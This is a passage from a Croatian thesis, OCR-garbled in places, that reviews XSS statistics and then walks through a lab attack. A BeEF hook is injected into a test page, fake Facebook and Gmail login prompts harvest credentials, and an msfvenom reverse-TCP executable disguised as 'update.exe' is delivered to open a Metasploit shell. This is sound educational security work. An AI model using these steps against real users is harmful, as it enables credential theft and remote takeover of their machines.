provodenjem testova na aplikacijama u radu, za razliku od staticke analize kojom se provode
testovi na izvornom kodu aplikacije. Prikazano je pet ranjivosti s najve¢om vjerojatnoscu
pojave te je vidljivo kako XSS ranjivosti zauzimaju drugo mjesto s vjerojatnosc¢u od 33%, §to
je izrazito velika vjerojatnost. Razlog tome je Sto upravo dinamicke web aplikacije

omogucavaju ovakvu vrstu napada zbog dijelova za unos od strane korisnika [22].
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Positive technologies je takoder tvrtka koja razvija sigurnosna rjeSenja za Wweb aplikacije
te objavljuje izvjestaje sa statistiCkim podacima o pronadenim ranjivostima, vjerojatnostima o
pronalasku ranjivosti, napadima itd. 2018. i 2019. godine objavljeno je izvjestaj o najces¢im
zabiljezenim napadima u prethodnim godinama te su rezultati prikazani u grafikonima 2 i 3
[23] [24].

B SQL ubrizgavanje
®m Napad prelaskom puta
m XSS
Implementacije lokalne datoteke
B Curenje informacija
m Upravljanje OS-om
m Brute force

B Udaljeno izvriavanje koda

mDoS
W Napad implementacijom predloska

W Ostali

Grafikon 2. Najces¢i napadi u 2017. godini [23]

1%

m SQL ubrizgavanje
B Napad prelaskom puta
mXSS
Implementacije lokalne datoteke
B Curenje informacija
B Upravljanje OS-om
EBrute force
B Udaljeno izvriavanje koda
EDoS
W Napad implementacijom predloska
B Ostali

Grafikon 3. Najcesci napadi u 2018. godini [24]
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Na grafikonima 2 i 3 vidljivo je kako se XSS napadi u obje godine nalaze u prva tri
najcesca kiberneticka napada na web aplikacije. Ostali napadi koji nisu navedeni u legendi, ali
su uvrsteni su: implementacije lokalne datoteke, curenje informacija, udaljeni pristup, udaljeno
upravljanje operativnim sustavom, Brute force? napadi, napadi implementacijom predloska i
ostali. Autori izvjeStaja navode kako su Ceste varijacije izmedu tri najceS¢a napada, no uvijek

su navedene tri vrste u vrhu [23] [24].

Noviji podaci mogu se vidjeti na grafikonu 3. na kojem su prikazani podaci objavljeni
od tvrtke Edgescan. Radi se statistickom izvjesStaju objavljenom 2021. godine, a prikazane su
najéesce kriticne ranjivosti u 2020. godini. Kritine ranjivosti su one koje mogu rezultirati u

kompletnoj kompromitaciji korisnika ili sustava [25].

= SQL ubrizgavanje = XSS
= Unos maliciozne datoteke Ubrizgavanje izvrsivog koda

= Otkrivanje osjetljivih informacija = Ostali

Grafikon 4. Najc¢esce kriti¢ne ranjivosti u 2020. godini [25]

Prema grafikonu 3 moze se primijetiti kako su XSS napadi opet u prva tri najcesca
oblika ranjivosti u web aplikacijama. Kada se analiziraju ranjivosti na odredenoj web aplikaciji
ili stranici, ne znac¢i nuzno da ¢e ta ranjivost biti iskoriStena od strane napadaca, ve¢ ona moze
biti primijecena kao potencijalni rizik. Ako se usporede prethodno prikazani grafikoni, moze se

primijetiti kako su XSS napadi u samom vrhu kao oblik ranjivosti, ali i po broju izvedenih

2 Vrsta kibernetickog napada u kojem napada¢ isprobava velik broj kandidata za rjeSenje, npr. kombinacija
korisnickog imena i zaporke
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napada. Prema tome, moZe se zakljuciti kako su XSS napadi vrlo Cest oblik kibernetickih
napada kojeg odabiru napadaci te njihova ucestalost ne opada znacajno kroz godine, a sami

napadi mogu izazvati prili¢no veliku Stetu vlasniku web aplikacije ili kompletnog sustava.
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4. Simulacija XSS napada koriStenjem BeEF radnog okvira

U prethodnim poglavljima analizirani su XSS napadi, a u nastavku ovog poglavlja bit
¢e prikazan primjer XSS napada. Simulacija je izvedena u laboratorijskim uvjetima. Osnovni
alat koji je koristen pri simuliranju napada je BeEF (engl. Browser Exploitation Framework).
Engleski naziv Browser Exploitation Framework u prijevodu znaci radni okvir za eksploataciju
preglednika. Radi se o alatu razvijenom 2006. godine namijenjenom ispitivanju sigurnosti koji
se, kao $to mu i ime govori, temelji na iskoriStavanju ,,otvorenih vrata® na svakom racunalu, a
to je web preglednik. Nakon $to je web preglednik kompromitiran, kroz sucelje alata moguce

je izvesti razne napade, ovisno o razini zastite na napadnutoj strani [26].

4.1. Instalacija alata i priprema okruZenja

BeEF je alat namijenjen instalaciji na distribucijama Linux operativnog sustava. Kako
je Kali Linux najpoznatija distribucija u kontekstu kiberneti¢ke sigurnosti i penetracijskih
testiranja, BeEF se najviSe koristi preko tog operativnog sustava i upravo je Kali sustav koji je

koristen za potrebe ovog istrazivanja.
Preglednik

1
BeEF
posluzitelj

Izvriavanje naredbi 1

Upravljanje putem BeEF

korisnickog sucelja < . Zarazena _ prikupljanje podataka Preglednik
Napadaé | < > UI & «—> web < > 3
stranica |

— =

e B Preglednik
3
Implementacija Hook js skripte

Slika 5. Nacin rada BeEF alata [27]

Na slici 5 vidljiv je opéeniti prikaz okruzenja u kojem se koristi BeEF. Napadac
implementira Hook.js skriptu u web stranicu koja moze biti u njegovom ili u vlasnistvu trece

osobe. Preglednici prikazani s desne strane dijagrama su povezani pristupanjem na navedenu
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web stranicu. Svi podaci koje BeEF prikuplja, dobiveni su izvr$avanjem naredbi koje se nalaze
u izvornom kodu alata. Na primjer, za detekciju verzije preglednika, BeEF provjerava
prisutnost ikone koja odgovara odredenoj verziji. Za provjeru prisutnosti AdBlock prosirenja,
izvrSava se naredba koja u kratkom vremenu pokusa otvoriti sko¢ni prozor te ako je moguce

otvoriti, vra¢a vrijednost False3, odnosno nema navedenog prosirenja itd. [27].

U prijasnjim verzijama Kali OS-a (engl. Operating System), BeEF je bio dostupan pri
samoj instalaciji sustava, odnosno dolazio je, kao i mnogi drugi alati, instaliran na operativnom
sustavu. U ovom diplomskom radu koriStena je verzija Kali 2020.4, a kako od verzije 2019.3
BeEF ne dolazi instaliran sa sustavom, potrebno ga je prvo instalirati. Instalacija alata je prili¢no
jednostavna jer se alat nalazi u meta paketu te ga je moguce instalirati pokretanjem naredbe
,»apt install beef-xss“. Nakon pokretanja naredbe, alat se instalira i potom je spreman za
koristenje. Pokretanje BeEF-a moguce je takoder putem terminala, pozicioniranjem u direktorij
gdje je instaliran i pokretanjem naredbe ,,./beef*. U ovom radu koriSten je drugi nacin, putem

grafickog sucelja. Nakon pokretanja alata u terminalu se prikazuje ispis vidljiv na slici 6.

> Executing “sudo beef-xss’
5

GeoIP database is missing

Run geoipupdate to download /
Please wait for the BeEF servic

Web UI:
Hoolk :
Example:

Slika 6. ispis pri pokretanju BeEF-a

Na slici 6. takoder je vidljiv ispis koji olakSava daljnji rad sa alatom. Pod ,,Web Ul:*
navedena je poveznica kojom se otvara BeEF korisnicko sucelje ili skraceno UI (engl. User
Interface). Kako se radi o Loopback IP (engl. Internet protocol) adresi,,127.0.0.1. Kopiranjem
poveznice u web preglednik, otvara se korisnicko sucelje. Drugi vrlo bitan ispis je naveden pod
,,Hook:*“. Pod Hook nalazi se putanja do JavaScript skripte koja se postavlja u web stranicu,

izvrS§ava na napadnutom pregledniku te tako povezuje za daljnju eksploataciju. Kao $to je

3 Logicka vrijednost u informatici koja prikazuje istinitost ili laZ u provjeri uvjeta
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vidljivo na slici 6., unutar Hooka je prostor za upis IP adrese racunala s kojeg se izvodi napad.

Pokretanjem naredbe ,,ifconfig“ u terminalu, dobiven je ispis prikazan na slici 7.

@ dropped
ickets @ bytes @ )
X errors @ dropped @ overruns @ carrier ® collisions @

65536

by

L" )
X errors @ dropped
. packets 934 bytes 3 .
X errors @ dropped @ 0 ® collisions @

wlan@: flags=4 JROADCAST , RUNNING , MULTICAST> mtu 1508
i netmask 2 2 5 broadcast 192
64 scopeid @
(Ethernet)
)

collisions @

Slika 7. ispis naredbe "ifconfig"

S obzirom da je racunalo koristeno za izvodenje napada na lokalnu mrezu spojeno putem
WLAN (engl. Wireless Local Area Network) adaptera, u Hook je upisana IP adresa vidljiva na
slici 2. pod ,,wlan0:“, a to je 192.168.1.118. Drugim rije¢ima, potrebno je unijeti IP adresu
racunala na kojoj se nalazi maliciozna skripta kako bi se upotpunila putanja do skripte. Za
potrebe ovog rada napravljena je jednostavha HTML stranica. Kako bi web stranica bila
dostupna na mreZi, potrebno je pokrenuti mrezni posluzitelj. U ovom radu koriSten je Apache
mrezni posluzitelj. U Kaliu, ali i drugim Linux operativnim sustavima, Apache posluzitelj se
pokrece jednostavno pokretanjem naredbe ,,service apache2 start u terminalu. Unaprijed
zadana lokacija koju koristi Apache posluzitelj je ,,var/www/html* pa je i u ovom radu koristena
navedena lokacija za postavljanje HTML stranice. Nakon §to je stranica napisana, u njezin kod

implementiran je ranije pripremljen Hook, kao sto je vidljivo na slici 8.
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fvarperarwhtml/index.html - Mousepad
File Edit Search View Document Help

Warning, you are using the root account, you may harm your system.

"http://192.168.1.118

Dobro dnshn na stranicu!
— Ovo je testna Web stranica
PS: potpuno je sigurna

Slika 8. Kod html stranice sa malicioznom skriptom

Kao napadnuti operativni sustav koristen je Microsoft Windows 10 jer se radi o danas
najkoristenijem operativnom sustavu, posebno kada se radi o privatnim korisnicima [28].
Izvodenje napada na operativnom sustavu instaliranom na ku¢nom rac¢unalu znacilo bi svjesno
unosenje virusa u racunalo te bi moglo ostaviti nezeljene posljedice kao $to su backdoor# ili u
najmanju ruku opterecenje radne memorije od strane antivirusa. Zbog navedenog, u svrhu
simulacije napada u ovom radu je podignuta virtualna masina te na njoj instaliran operativni

sustavi Windows 10 kako provodeni napadi ne bi imali utjecaj na stvarno racunalo.

Nakon prethodno navedenih i analiziranih koraka, moguce je izvesti napad koristenjem
BeEF radnog okvira. Kada bi se radilo o stvarnom napadu, potrebno bi bilo napraviti uvjerljiviju
web stranicu kako napadnuti korisnik ne bi shvatio da se radi o napadu, ali s obzirom da se
ovdje radi o simulaciji napada, jednostavna HTML stranica je dovoljna za prikaz scenarija i

mogucnosti napada.

4 Program ili kod koji omogucava udaljeni pristup racunalu
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4.2. Pokretanje i sucelje BeEF radnog okvira

Nakon $to je BeEF pokrenut, skripta implementirana u html stranicu, a Apache
posluzitelj pokrenut, mogucée je navedenoj stranici pristupiti s bilo kojeg uredaja na mrezi. Kada
bi se radilo o stvarnom napadu, potrebno bi bilo napraviti dodatne korake kao §to su otvaranje
sucelja (engl. port) te odrediti domenu web stranice kako korisnik kojem se $alje URL stranice
ne bi posumnjao da se radi 0 napadu, ali kako se ovdje radi o simulaciji napada, napravljenoj u

laboratorijskim uvjetima, nije potrebno raditi napad izvan lokalne mreze.

Nakon pokretanja BeEF-a, bilo putem terminala ili putem grafickog sucelja, dolazi do
ispisa ve¢ prikazanog na slici 6 te se automatski otvara web preglednik sa grafickim suceljem
BeEF radnog okvira. Prvi korak u grafi¢kom sucelju je prijava koriStenjem korisnickog imena
I zaporke. Zadano korisnicko ime je ,beef”, a zaporka takoder ,beef te ih je potrebno
promijeniti prije prve prijave. Na racunalu koje u ovom istrazivanju ima ulogu napadnutog
sustava, potrebno je u web preglednik jednostavno upisati IP adresu racunala na kojem je
stranica, a to je u ovom slucaju ,,192.168.1.118“. Kako je pokrenut mrezni posluzitelj,

preglednik pronalazi i otvara testnu web stranicu.

Otvaranjem web stranice u koju je implementirana maliciozna skripta, odnosno ,,BeEF
Hook*, preglednik je izvrSio skriptu te je samim time povezan na BeEF. To je moguée odmah
vidjeti u sucelju BeEF-a, na ra¢unalu na kojem je pokrenut. Na slici 9. prikazano je sucelje sa
vidljivom informacijom ,,Online Browsers“ te IP adresom 192.168.1.108. Navedena IP adresa

je adresa napadnutog racunala te oznacava da je preglednik povezan i moguce su daljnji napadi.
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BEeEs E # BeEF Control Panel- Mo.. | root@kali: ~ [html - File Manager] 08:49PM W
BeEF Control Panel - Mozilla Firefox

BeEF Control Panel x +

= cC @ 0 @ 127.0.01

Kali Linux Kali Training Kali Tools + Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB ]| MSFU

% BeEF 0500 | Submit Bug | Logout

Hooked Browsers

Getting Started Logs Zombies Current Browser
4 =5 Online Browsers
4591021681118 Details | Loos || Commands || Proxy || XssRays || Network
@& B = 7 1921681108 — Value
(21 Offline Browsers
browser date. datestamp Tue Dec 15 2020 16:59:13 GMT+0100 (stednjoeuropsko standardna vrijeme)
browser.engine Blink
browserlanguage enus
browsername [=
browsername.friendly Chrome
browser.name. reported Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.68 Safari/537.36
browser platiorm Win32
browser plugins Chrome PDF Flugin Chrome PDF Viewer,Native Client
browserwindow.cookies BEEFHOOK=nsfizw] XFEKaaQ5GOXyoXsT PUDIDORDacg TEpM JwrdFQaSRGXWTIDPS10Ux
browserwindow hastname 152.168.1.118
browserwindow hastpart 80
browserwindow.origin hiip:4/192.168.1.118
browserwindow.referrer Unknown
browserwindow.size.height 937
browserwindow.size. width 1920
browserwindow.tile Unknown
browserwindow.uri hitp://192.168.1 118/
hardware battery level unknown
hardware. cpu.arch x86_64
hardware. cpu cores a
hardware gpu ANGLE (Radeon RX 590 Series Direct3D11 vs_5_0 ps_5_0)
hardware qpu.vendor Google Inc.
Basic Requester Page 1lof2| b Bl | & Displaying zombie browser details 1 - 50 of 50

Slika 9. BeEF sucelje sa detaljima o povezanom pregledniku

U sucelju, kartice za izvrSavanje napada ili dohvat drugih informacija o povezanom
pregledniku su [26]:

e Details — za prikaz odredenih podataka o pregledniku i sustavu na kojem se
nalazi

e Logs — pod ovom karticom moguce je dohvatiti zapise o izvrSenim naredbama

e Commands — odabir ove kartice prikazuje raspoloZzive naredbe

e Proxy - moguce je oponasati obrnuti proxy posluzitelj

e XssRays — alat za skeniranje XSS ranjivosti

e Network — za prikaz dodatnih informacija o mrezi, npr. kartu mreze

Na slici 9 je prikazana otvorena kartica Details, odnosno detalji. Ve¢ samim
povezivanjem preglednika i otvaranjem ove kartice vidljivi su podaci koji mogu biti vrlo korisni
napadacu jer otkrivaju informacije o pregledniku i sustavu. Tako je na primjer vidljivo da je
BeEF prepoznao preglednik, a to je Google Chrome. Kako se radi 0 Chromeu, BeEF je takoder
dobro prepoznao engine® od preglednika, a to je Blink. Sto se ti¢e podataka o hardwareu na

kojem je operativni sustav, vidljivo je da se radi o ,,x86 64, odnosno 64-bitnoj arhitekturi,

5 Jezgra racunalnog programa
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procesoru s Cetiri jezgre te grafi¢koj kartici Radeon RX 590. Svi ovi podaci, a i drugi dostupni,

mogu uvelike koristiti napadacu u planiranju i izvodenju daljnjih napada na racunalo.

4.3. Primjeri napada koristenjem BeEF radnog okvira

Kao $to je ve¢ navedeno u prethodnom potpoglavlju, kroz graficko sucelje BeEF-a
moguce je na jednostavan nacin izvesti brojne napade koji mogu naStetiti napadnutom
korisniku. U nastavku ¢e biti prikazani primjeri pokretanja nekih od dostupnih naredbi te

njihovi rezultati.

Na slici 10 prikazan je rezultat naredbe ,,Pretty theft” sa strane napadnutog web
preglednika. Sama naredba je namijenjena kradi korisnickog imena i lozinke za odredene
servise na nacin da ,,izbaci* lazni sko¢ni prozor ovisno o odabranoj usluzi te zapravo oponasa

prijavu u odabranu uslugu. Dostupni oblici sko¢nih prozora za prijavu su:

e Facebook,
e LinkedlIn,
e Windows,
e YouTube,
e Yammer,
e I0Si

e Generic.

U ovom primjeru odabran je lazni prozor za prijavu na socijalnu mrezu Facebook te su
za primjer uneseni lazna adresa elektronicke poste te zaporka. Na slici 10 vidljiv je unos adrese

elektronicke poste netko@gmail.com.

25



i Windows 10 [Running] - Oracle VM VirtualBox . 0O

@ 192.168.1.118 X -+ = X

& C A Notsecure | 192.168.1.118 or 1Y '

Your session has timed out due to inactivity.

Please re-enter your username and password to login.

Email: | netko@gmail.com

Log in

L Type here to search 5 A G ) ST‘ w- 1 =]
ROES oL E i @ @ Briht control

Slika 10. Lazni Facebook sko¢ni prozor

Ukoliko korisnik nije paZzljiv 1 ne prouci bolje sko¢ni prozor, tesko je prepoznati da je
on lazan. Narocito je teSko prepoznati korisnicima koji nisu toliko vjesti u koriStenju Interneta
i racunala opcenito, a s obzirom na rasprostranjenost drustvenih mreza danas, takvih je mnogo
te su ¢esto na meti ovakvih napada. Izvodenje ove naredbe moze posebno ostati ne primijeceno
ukoliko se koristi u kombinaciji sa naredbom za detekciju drustvenih mreza. Navedena naredba
radi na nacin da detektira na koju druStvenu mrezu je prijavljen korisnik, a primjer ispisa je

prikazan na slici 11.
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BeEF Control Panel - Mozilla Firefox

BeEF Control Panel

(= c @ @ ~0 127.0.0.1

Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter Offensive Security » Exploit-DB GHDB [| MSFU

# Betr 0500 | Submit Bug | Logout

Hooked Browsers

Logs Zombies Current Browser
423 Online Browsers
491921660118 ogs || Commands || Proxy || XssRays || Network
@ WME 71921681113 Module Results History Command results

(Offine Browsers . ida | datc label 1 Sun Jan 24 2021 13:46:11 GMT=D000 (Coordinated Universal Time)

" datac gmail=User is NOT o User is NOT to Twitter

I Mewsplor (1) 0 202101241347 command 1 (response: User is to Facebook

(2 Misc 20)

1 202101241348 command 2
453 Network (21)
[CJADC (2)

Cross-Origin Scanner (CORS)
e

Detect Tor
Get Proxy Servers (WPAD)

Get ntop Network Hosts
DNS Rebinding
IRC NAT Pinring
Fingerprint Local Network
Get HTTP Servers (Favicon)
Idenify LAN Subnets
Ping Sweep (Java)
Port Scanner
@ Fingerprint Routers
@ Ping Sweep
@ Fing Sweep (FF)
(2] Persistence (9)
- Oneccacn oo

Re-execute command

Basic | Requestes & Ready

Slika 11. Rezultat naredbe za detekciju otvorenih sesija na drustvenim mrezama

Kako racunalo na kojem je bila testirana naredba nije imalo ni jednu aktivnu prijavu na
mrezu Koje se provjeravaju, ispis za svaku je ,,user is NOT authenticated . Kada bi napadac
kroz rezultat naredbe vidio da je korisnik prijavljen na Facebook, bio bi sigurniji da ¢e uspjeti
dobiti korisnicke podatke pokretanjem lazne Facebook prijave. Nakon §to korisnik upisuje
svoje podatke, odnosno adresu elektronicke poste i lozinku, klikom gumba za prijavu ti podaci
se prikazuju kao rezultat naredbe na BeEF sucelju. Nakon potvrde unosa podataka za prijavu,
u BeEF sucelju dolazi do ispisa: answer=netko@gmail.com;Lozinkal23. Kako navedeni ispis
odgovara unesenim podacima prikazanim na slici 10, moze se zakljuciti kako je izvedeni

primjer krade korisnickih podataka uspjesan.

3

Osim prethodno prikazane naredbe, BeEF omogucava i pokretanje ,,Google Phising*
naredbe. Ova naredba ima sli¢nu funkciju kao i ,,Pretty theft, ali napravljena specifi¢no da
prikazuje laznu prijavu na Gmail. Na slici 12 je prikazano sucelje koje se prikazuje na
korisnikovom pregledniku. Takoder §to naredbu ¢ini zanimljivom je da klikom na potvrdu

unosa podataka za prijavu, preusmjerava na stvarni Gmail profil te time dodatno povecava Sanse
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da korisnik ne primijeti da se radi o prevari. Problem s ovom naredbom je §to sucelje za prijavu

koje otvara je sada ve¢ zastarjelo pa mnogi korisnici bi primijetili da se ne radi o stvarnoj prijavi.

M Google Mail: Email from Google X +

& > C A Notsecure | 192.168.1.118 or W 0

Google Nt o Googl Ml

Google Mail
A Google approach to email. Sign in
Google Mail is built on the idea that email can be more intuitive, efficient. and useful lissmame
And maybe even fun. After all. Google Mail has netko@gmail.com
= Lots of space Password
QOver 2757.272164 megabytes (and counting) of free storage ’ .......... |
X Less spam o
Keep unwanted messages out of your inbox m Stay signed in
; ! s you ?
Mobile access Can't access your account?
Get Google Mail on your mobile phone. Learn more

About Google Mail  New features!  Switch to Google Mail
Create an account

Take Google Mail to work with Google Apps
for Business
Love Google Mail, but looking for a custom email address for your

company?
Get business email, calendar, and online docs @your_company.com. Learn more

Slika 12. Sucelje "Google phishing" naredbe

Takoder testirana naredba je ,, Get page HTML “, koja kao §to joj i naziv govori, dohvaca
HTML kod trenutno otvorene stranice. Naslici 13 prikazan je rezultat naredbe te se moze vidjeti
kako je ispisan kod trenutno otvorene stranice na testiranom pregledniku, a radi se o malicioznoj
web stranici napravljenoj za ovaj rad. Kako bi ova naredba bila efikasnija, potrebno bi bilo
koristiti neki nacin odrzavanja povezanosti napadnutog preglednika i dok korisnik makne fokus
sa stranice sa BeEF skriptom. To se moze postici sa Persistence naredbama. Nakon toga je na
primjer moguce is¢itati kod otvorene stranice te odluciti je li pogodna za daljnju implementaciju

malicioznih skripti ili sli¢no.
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Command results =

il Sun Jan 24 2021 13:37:44 GMT+0000 {Coordinated Universal Time)
data: head= <script src="htip://192.168.1.118:3000/hook_js"></script> &body=<hl1>Dobro dosao na siranicu!</hl> <h2>-- Ovo
je testna Web stranica </h2> <p>P3: potpuno je siguma</p>

Slika 13. Ispis HTML koda stranice

Prethodno prikazani primjeri su samo neki od velikog broja mogucih napada koje je
moguce izvesti koriste¢i BeEF radni okvir. Kako vec¢ina suvremenih preglednika su temeljeni
na razli¢itim platformama (neki koriste i iste, npr. Chromium) te korite razliCite nacine zastite
sigurnosti, za ocekivati je da ne radi svaka naredba na svakom pregledniku. Tako je na primjer
jedna skupina naredbi namijenjena specificno za izvrsavanje u Google Chrome pregledniku.
Rijetko kada je za ozbiljniji kiberneti¢ki dovoljno koristenje samo jednog alata pa je tako i
slu¢aj sa XSS napadima. lako vecina naredbi dostupnih u BeEF-u same otvaraju veliki broj
moguénosti koje uvelike pomazu napadacu u ostvarivanju svojih ciljeva, ali stvarni potencijal

napada se ostvaruje koriStenjem u kombinaciji sa drugim alatima, kako bi se dobio kompletan

XSS napad.

44. Primjer napada udaljenim pristupom racunalu KkoriStenjem BeEF i

Metasploit radnog okvira

Kao $to je navedeno u prethodnom potpoglavlju, za veée rezultate nekog napada,
potrebno je Cesto koristiti razlic¢ite alate. Prema tome, u nastavku ¢e biti prikazan primjer
proveden koriste¢i BeEF i Metasploit. Na kraju izvedenog napada omogucéen je pristup ra¢unalu
i podacima na njemu sa drugog racunala. Udaljeni pristup se u ovom primjeru temelji na
obrnutom TCP-u (engl. Transimssion Control Protocol). TCP protokol omogucava stvaranje
veze izmedu dva racunala kojom se prenose podaci. Razlika kod obrnutog TCP-a je ta §to se
zapravo zahtjev za konekcijom Salje od napadnutog rac¢unala prema napadacu pa konekcija nije
blokirana [29]. To se postize pokretanjem sadrzaja na napadnutom racunalu, koji je poslan

koriStenjem BeEF-a.

Metasploit je radni okvir razvijen od organizacije Offensive Security, a namijenjen je
penetracijskim testiranjima i etiCkom hakiranju te dolazi instaliran na Kali Linux OS-u.

Metasploit je do danas prilicno razvijen i sadrzi velik broj sucelja, modula za kreiranje sadrzaja,
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eksploatacija, ekstenzija itd. [30]. U ovom primjeru koristen je msfvenom za kreiranje sadrzaja

te msfconsole kao sucelje u terminalu za pristup svim moguénostima Metasploita.

Za pocetak napada, kreiran je sadrzaj u obliku izvr$ne (.exe) datoteke. Za kreiranje je
koristen msfvenom koji je dostupan na Kaliu u sklopu Metasploit radnog okvira pa nije potrebna

prethodna instalacija. Na slici 14 prikazana je kompletna naredba sa ispisom nakon pokretanja.

root@kali: ~
File Actions Edit View Help
root@kali: ~ ] root@kali: ~

® ~

f x86 windows windows/shell/reverse_tcp LHOST=192.168.1.118 LPORT=3333 x00" x86/shikata_ga_nai
/root/update.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)

ta_ga_nai chosen with final size 381
8

81 bytes
Final size of exe file: 73802 bytes
Saved as: /root/update.exe

Slika 14. Naredba za kreiranje sadrzaja

Naredba za kreiranje sadrzaja se sastoji od vise dijelova koji definiraju kako ¢e se

kreirati, a neki od bitnijih su:

e --platform — Definira se platforma za koju se kreira, ovom slu¢aju Windows.

e -p— U ovom dijelu je definiran sadrzaj, odabran je ,,reverse_tcp“, pod LHOST
je navedena IP adresa Kali ra¢unala s kojeg se pokrece napad te LPORT na Kkoji
se spaja. U ovom slucaju port je 3333, ali moze biti 1 neki drugi TCP port.

e -f— Vrsta datoteke, definiran je ,,exe “, odnosno izvr$na datoteka.

e -0 — Ovaj dio naredbe oznacava izlaz (engl. output) gdje ¢e se kreirati datoteka
te je definirano ,,/root/update.exe “. Odabran je naziv ,,update* jer djeluje kao

naziv koji bi mogao zavarati korisnika u stvarnom napadu.

Nakon pokretanja naredbe, maliciozna datoteka je napravljena na definiranoj lokaciji.
Navedenu datoteku je potrebno nekako dostaviti do racunala koje se planira napasti. U ovom

primjeru je to izvedeno putem BeEF naredbe za preusmjeravanje web preglednika. Kako bi
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kreirana datoteka bila dostupna za preuzimanje na mrezi, potrebno ju je staviti u mapu u koju

je vec¢ ranije postavljena i HTML stranica, a to je ,,var/www/html “.

Maliciozna datoteka koja ¢e omoguciti udaljeni pristup ra¢unalu premjestena u mapu
koja je dostupna podizanjem Apache posluzitelja, pokrenut je BeEF kako bi se ona dostavila na
virtualnu masinu s Windows operativnim sustavom. Postoji vise dostupnih nac¢ina na koje bi se
navelo korisnika na preuzimanje datoteke. Prilikom izvodenja ovog primjera koristena je
naredba za preusmjeravanje web preglednika. U BeEF sucelju se definira URL na koji ¢e
preglednik biti usmjeren. Kao §to je ve¢ navedeno, datoteka je premjestena u mapu dostupnu
na lokalnoj mrezi pa je u URL potrebno dodati joS ,/update.exe”. Cijeli URL je
Whttp://192.168.1.118/update.exe “ 1 vidljiv je na slici 15.

BeEF Control Panel - Mozilla Firefox

BeEF Control Panel x +

<« c @ 0 ©~o 127.0.0.1

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter Offensive Security + Exploit-DB GHDB || MSFU

# Becr 0500 | Submit Bug | Lopout

ok e Logs Zombies Current Browser

4 (= Online Browsers
4091921681118 gs || Commands || Proxy || XssRays | Network
@ @ % 71921681113 Module Tree: Module Results History Redirect Browser
[ Offline Browsers
redirect id -~ date label Description:  This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input
4 =5 Browser (3) 0 2021-01-241343 command 1
Id: 48
4 {3 Hooked Domain (3) 1 2021-01-2413:44  command 2
Redirect Browser
Redirect URL: | hp://192.168. 1. 118/update exef
Redirect Browser (Rickroll
Redirect Browser (iFrame)
43 Debug (1)
Test HTTP Redirect
Execute
Basic || Reguester () Ready

Slika 15. Naredba za preusmjeravanje preglednika

Prije slanja maliciozne datoteke na ciljanu virtualnu masinu, na Kali ra¢unalu potrebno
je pokrenuti Metaspolit i pripremiti alat za eksploataciju. Metasploit se pokreée jednostavnom
naredbom ,,service metasploit start ‘. Nakon toga je pokrenuto sucelje za rad u ovom radnom
okviru, a to je ve¢ ranije spomenut ,,msfconsole . Potrebno je postaviti ,,slusatelja® (engl.
listener) koje ¢e pratiti kada je konekcija uspostavljena. SluSatelj je cijelo vrijeme nakon
pokretanja aktivan i u trenu kada je pokrenuta maliciozna datoteka, obavjestava o pokrenutoj

sesiji.
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Za pokretanje slusatelja, potrebno je koristiti Metasploit modul ,.exploit/multi/handler.
Nakon toga potrebno je slusatelju definirati Sto ¢e ,,slusati“. To je napravljeno pokretanjem
naredbe ,,set payload windows/shell/reverse_tcp “. Drugim rije¢ima, ovom naredbom receno je
da osluskuje sadrzaj koji je kreiran ranije pokretanjem msfvenom naredbe. Na slici 16 prikazani

su prethodno navedeni koraci.

root @kali: ~

Actions Edit View Help

root@kali: ~ root@kali: ~

@ M3 T4 SP L@ 1T FR 4M 3W OR K! V3 R5 I0 N5 @0 00 00 0@

Interrupt handler

ry - 352 post
10 nops

everse_tcp

Slika 16. Postavljanje slusatelja

Nakon $to je postavljen sluSatelj, potreban je jos jedan korak prije pokretanja, a to je
postavljanje postavki. Na slici 17 prikazan je ispis naredbe ,,Show options® te se moze primijetiti
da je vrijednost ,,LHOST* prazna te da je vrijednost ,LPORT* 4444. Navedene dvije
vrijednosti su IP adresa koju ¢e osluskivati i port koji ¢e osluskivati pa moraju niti jednake kao
Sto je prethodno definirano pri kreiranju sadrzaja.

File Actions Edit View Help ~
root@kali: ~ % root@kali: ~
msf6 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Regquired Description

Payload options (windows/shell/reverse_tcp):

Name C Setting Required iption

pro yes 1ique (Accepted: ' seh, thread,
LHOST yes The 1 addr (an interface may be spe
LPORT LbhG yes The listen port
Expleit target:
Id Name

Wildcard Target

Slika 17. Ispis naredbe "show options"
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LHOST (engl. Local Host) i LPORT (engl. Local Port) se postavljaju naredbama ,,set
lhost“ 1 ,,set Iport* te su im dodijeljene ranije ve¢ navedene vrijednosti ,,192.168.1.118* za
LHOST 1,,3333 za LPORT. Nakon s§to su LHOST i LPORT postavljeni, moguce je pokrenuti
slusatelja pokretanjem naredbe ,,exploit”. Da je pokrenut moze se zakljuciti prema ispisu
odmah nakon pokretanja navedene naredbe, koji glasi ,,Started reverse TCP handler on
192.168.1.118:3333".

Kada je Metasploit dio spreman, moze se nastaviti sa radom u BeEF-u. U BeEF sucelju
se pokreée naredba za preusmjeravanje preglednika koja kao rezultat na napadnutom
pregledniku nudi preuzimanje datoteke ,,update.exe ““. Korisnik koji nije dovoljno upu¢en moze
misliti da se radi o nekoj nadogradnji koja nece nastetiti njegovom racunalu. Zato se mogu
koristiti i neki vjerodostojniji nazivi datoteke ili BeEF naredbe koje je teze shvatiti kao
opasnost, ali u ovom praktiénom primjeru nema potrebe za time jer se radi o simulaciji napada.
Kada korisnik pokrene update.exe, on ostaje gotovo neprimjetno pokrenut na racunalu. Moze
biti primije¢en pod procesima u Upravitelju zadataka. S druge strane, na Kali racunalu s kojeg

je pokrenut napad dolazi do ispisa prikazanog na slici 18.

root@kali: ~

File Actions Edit View Help

root@kali: ~ root@kali: ~

EXITFUNC pr s yes Exit technique (Accepted: "', seh, thread, p s, none)
LHOST 6 e listen add (an interface may be spec )
LPORT 3 yes The listen port

Exploit target:
Id Name

Wildcard Target

msf6 exploit(

2 +0000

Slika 18. Kali rac¢unalo je povezano na Windows virtualnu masinu
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Na Windows virtualnoj masini, update.exe je preuzet u
,,C:\Users\DomVirtual\Documents\exclusion folder* pa je i na slici 18 vidljivo da je to prva
